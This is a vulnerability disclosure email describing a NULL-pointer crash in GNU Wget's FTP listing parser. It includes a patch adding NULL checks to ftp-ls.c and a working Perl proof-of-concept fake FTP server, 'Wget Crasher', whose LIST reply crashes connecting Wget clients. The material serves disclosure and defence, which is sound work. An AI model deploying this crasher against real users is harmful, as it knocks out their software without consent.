Hello,
I have found that it's possible for a malicious FTP server to crash GNU
Wget by sending malformed directory listings. Wget will parse them without
checking if they are written in the proper format. It will do a fixed number
of strtok() calls and then atoi() calls, and with the wrong format, atoi()
will dereference NULL, leading to a crash.
This affects 1.9.1, the latest CVS version and some older stable versions.
I have attached a patch against 1.9.1 that will correct this, and a little
fake FTP server that exhibits this problem when Wget connects to it. The server
should be started from inetd or xinetd. My inetd.conf line looks like this:
ftp stream tcp nowait metaur /usr/bin/perl perl /path/to/wget-crasher.pl
// Ulf Harnhammar
http://www.advogato.org/person/metaur/
--- src/ftp-ls.c.old 2003-09-15 00:04:12.000000000 +0200
+++ src/ftp-ls.c 2004-11-05 17:34:47.000000000 +0100
@@ -454,11 +454,14 @@
/* First column: mm-dd-yy. Should atoi() on the month fail, january
will be assumed. */
tok = strtok(line, "-");
+ if (tok == NULL) continue;
month = atoi(tok) - 1;
if (month < 0) month = 0;
tok = strtok(NULL, "-");
+ if (tok == NULL) continue;
day = atoi(tok);
tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
year = atoi(tok);
/* Assuming the epoch starting at 1.1.1970 */
if (year <= 70) year += 100;
@@ -466,8 +469,10 @@
/* Second column: hh:mm[AP]M, listing does not contain value for
seconds */
tok = strtok(NULL, ":");
+ if (tok == NULL) continue;
hour = atoi(tok);
tok = strtok(NULL, "M");
+ if (tok == NULL) continue;
min = atoi(tok);
/* Adjust hour from AM/PM. Just for the record, the sequence goes
11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */
@@ -497,7 +502,9 @@
directories as the listing does not give us a clue) and filetype
here. */
tok = strtok(NULL, " ");
- while (*tok == '\0') tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
+ while ((tok != NULL) && (*tok == '\0')) tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
if (*tok == '<')
{
cur.type = FT_DIRECTORY;
@@ -678,6 +685,7 @@
/* Third/Second column: Date DD-MMM-YYYY. */
tok = strtok(NULL, "-");
+ if (tok == NULL) continue;
DEBUGP(("day: '%s'\n",tok));
day = atoi(tok);
tok = strtok(NULL, "-");
@@ -695,11 +703,13 @@
/* Uknown months are mapped to January */
month = i % 12 ;
tok = strtok (NULL, " ");
+ if (tok == NULL) continue;
year = atoi (tok) - 1900;
DEBUGP(("date parsed\n"));
/* Fourth/Third column: Time hh:mm[:ss] */
tok = strtok (NULL, " ");
+ if (tok == NULL) continue;
hour = min = sec = 0;
p = tok;
hour = atoi (p);
@@ -730,10 +740,12 @@
/* Skip the fifth column */
tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
/* Sixth column: Permissions */
tok = strtok(NULL, ","); /* Skip the VMS-specific SYSTEM permissons */
+ if (tok == NULL) continue;
tok = strtok(NULL, ")");
if (tok == NULL)
{
#!/usr/bin/perl --
# Wget Crasher 0.1.0 - fake FTP server that crashes GNU Wget
# by Ulf Harnhammar in 2004
# I hereby place this program in the public domain.
use strict;
use Socket;
@main::port = (0, 0, 0, 0, 0, 0);
$main::loggedin = 0;
sub mysend($)
{
print "$_[0]\015\012";
} # sub mysend($)
sub myreceive($)
{
my $inp = '';
$inp = <STDIN>; $inp =~ tr/\015\012\000//d;
$_[0] = $inp;
} # sub myreceive($)
$|++;
mysend('220 Welcome to Wget Crasher 0.1.0 !!');
while (1)
{
my ($str, $savestr, $reststr) = ('', '', '');
myreceive($str);
$savestr = $str;
$str =~ s|^([A-Z]+) *(.*)$|$1|;
$reststr = $2;
if ($str eq 'USER')
{
mysend('331 Anonymous access allowed, send identity (e-mail name) '.
'as password.');
$main::loggedin = 1;
next;
}
if (($str eq 'PASS') && ($main::loggedin == 1))
{ mysend('230 Anonymous user logged in.'); $main::loggedin = 2; next; }
if ($main::loggedin < 2)
{ mysend("500 '$savestr': Command not understood."); next; }
if ($str eq 'SYST')
{ mysend('215 Windows_NT'); next; }
if ($str eq 'PWD')
{ mysend('257 "/" is current directory.'); next; }
if ($str eq 'TYPE')
{ mysend("200 Type set to $reststr."); next; }
if ($str eq 'PORT')
{
if ($savestr !~
m|^PORT ([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+)$|)
{ mysend('500 Invalid PORT command.'); next; }
@main::port = ($1, $2, $3, $4, $5, $6);
mysend('200 PORT command successful.'); next;
}
if ($str eq 'LIST')
{
my ($remote, $port, $addr, $adddr, $tcp) = ('', 0, 0, 0, 0);
if (($main::port[0] == 0) &&
($main::port[1] == 0) &&
($main::port[2] == 0) &&
($main::port[3] == 0))
{ mysend('425 Unable to build data connection: Invalid argument.'); next; }
mysend('150 Opening BINARY mode data connection for /bin/ls.');
$remote = "$main::port[0].$main::port[1].$main::port[2].$main::port[3]";
$port = (256 * $main::port[4]) + $main::port[5];
$addr = inet_aton($remote);
$adddr = sockaddr_in($port, $addr);
$tcp = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $tcp);
if (!connect(SOCK, $adddr))
{ mysend("425 Can't open data connection."); next; }
select SOCK; $| = 1; select STDOUT;
foreach my $i (1 .. 15)
{
print SOCK '2004 '.
"Wget Crasher 0.1.0\015\012";
}
close SOCK;
mysend('226 Transfer complete.');
next;
}
if ($str eq 'QUIT')
{
mysend('221 Thanks for using Wget Crasher 0.1.0 !');
exit 0;
}
mysend("500 '$savestr': Command not understood.");
} # while 1
__END__